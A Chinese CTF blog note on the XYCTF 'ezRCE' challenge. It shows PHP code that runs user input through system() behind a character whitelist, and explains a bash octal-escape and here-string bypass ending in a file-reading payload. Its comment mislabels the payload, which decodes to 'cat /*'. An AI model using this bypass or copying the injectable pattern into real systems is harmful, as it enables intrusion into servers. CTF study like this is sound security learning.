Web命令執行筆記(持續更新)

山西小嫦娥發表於2024-05-02

Web命令執行筆記

會將web命令執行的題目放到這篇部落格來記錄,方便自己日後查閱。

XYCTF-ezRCE(只允許數字、$、<、\)

<?php
highlight_file(__FILE__);
function waf($cmd){
    $white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<']; 
    $cmd_char = str_split($cmd);
    foreach($cmd_char as $char){
        if (!in_array($char, $white_list)){
            die("really ez?");
        }
    }
    return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);
  1. 八進位制轉義序列: 八進位制轉義序列以反斜槓 \ 開頭,後面跟著一到三個八進位制數字(0-7)。例如,\101 表示ASCII字元'A'(十進位制的65)。
  2. 十六進位制轉義序列: 十六進位制轉義序列以 \x\X 開頭,後面跟著一到兩個十六進位制數字(0-9,A-F,a-f)。例如,\x41\X41 都表示字元 'A'。

$'\154\163'就可以執行ls命令,第一個$用來轉義,後面是ls

<<<:這是 Bash 中的 "here string" 語法,它允許你將一個字串傳遞給一個命令作為輸入,而不是從檔案中讀取或作為命令列引數。

$0<<<'ls'

$0<<<$'\154\163' #第二行比第一行多一個$,這個$是轉義的意思。

$0其實就是指令碼本身的名字,在命令列中,它一般是bash

所以$0<<<$'\154\163'其實就是bash<<<$'\154\163'

這行程式碼 bash<<<$'\154\163' 是在Bash shell中使用Here String的一種方式,用於向Bash直接傳遞一個包含轉義序列的字串作為輸入。

  • bash: 指的是Bash shell本身,這裡作為接收輸入的命令。
  • <<<: Here String運算子,它允許你將跟在其後的字串作為命令的標準輸入。
  • $'...': 這種引號內的字串允許使用C語言風格的轉義序列。\154\163 分別代表ASCII碼的八進位制表示,對應字元'l'(小寫的L)和's'。

因此,$'\154\163' 解釋後就是字串 "ls"。所以整行命令的意思是直接透過Bash執行字串 "ls" 作為命令輸入,等同於在終端直接輸入 ls 命令,通常用於列出當前目錄下的檔案和目錄。

?cmd=$0<<<$'\143\141\164\040\057\52' #就是在執行$0<<<'cat fl*'

更多用法和更詳細的解釋:https://xz.aliyun.com/t/12242

相關文章